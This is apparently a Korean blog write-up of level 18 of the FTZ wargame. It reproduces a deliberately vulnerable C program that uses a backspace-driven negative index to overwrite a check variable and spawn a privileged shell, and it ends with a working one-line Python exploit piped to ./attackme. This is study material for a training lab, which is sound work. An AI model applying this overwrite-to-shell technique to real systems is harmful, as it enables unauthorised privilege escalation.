1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) { if(FD_ISSET(fileno(stdin),&fds)) { read(fileno(stdin),&x,1); switch(x) { case '\r': case '\n': printf("\a"); break; case 0x08: count--; printf("\b \b"); break; default: string[count] = x; count++; break; } } } } } } void shellout(void) { setreuid(3099,3099); execl("/bin/sh","sh",NULL); } | cs |
▲ level 18의 힌트. 너무 길어서 따로 복사해왔다
이 전의 문제들과 달리 갑자기 복잡한 코드가 나와 약간 당황했다. 인터넷에 함수를 검색해보며 분석해 보았다.
이전까지의 버퍼오버플로우 문제는 check변수가 앞에 있어 쉬웠지만 해당 프로그램은 check 변수가 더 뒤에 있어 다른 방법을 사용해야 할 것 같다.
입력받은 값 중 \n이나 \r이 입력된다면 비프음을 낸다. 이는 별로 의미 없는 것으로 보인다.
만약 입력값이 0x08이면 count--;를 하고 문자를 하나 지운다. 이 문제는 이 부분을 이용하는 문제이다.
▲ main함수의 디스어셈블 코드 중 일부. string이 먼저 선언 되고 그 뒤에 check 변수가 선언 되어 있다. 따라서 string과 check 사이의 거리를 구해 그만큼 0x08을 입력해 준 후 deadbeef를 입력해 주면 된다. check변수 부분은 ebp-104, string은 ebp-100이므로 4만큼의 거리가 있다.
따라서 0x08*4+0xdeadbeef를 입력해 주면 공격이 성공한다.
▲ 못 풀것 같은 복잡해 보이는 문제도 차근차근 그 구조를 파악하면 풀 수 있다.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme
'System > FTZ' 카테고리의 다른 글
[FTZ school] level 19 (0) | 2019.03.19 |
---|---|
[FTZ school] level 17 (0) | 2019.03.19 |
[FTZ school] level 16 (0) | 2019.03.19 |
[FTZ school] level 15 (0) | 2019.03.19 |
[FTZ school] level 14 (0) | 2019.03.19 |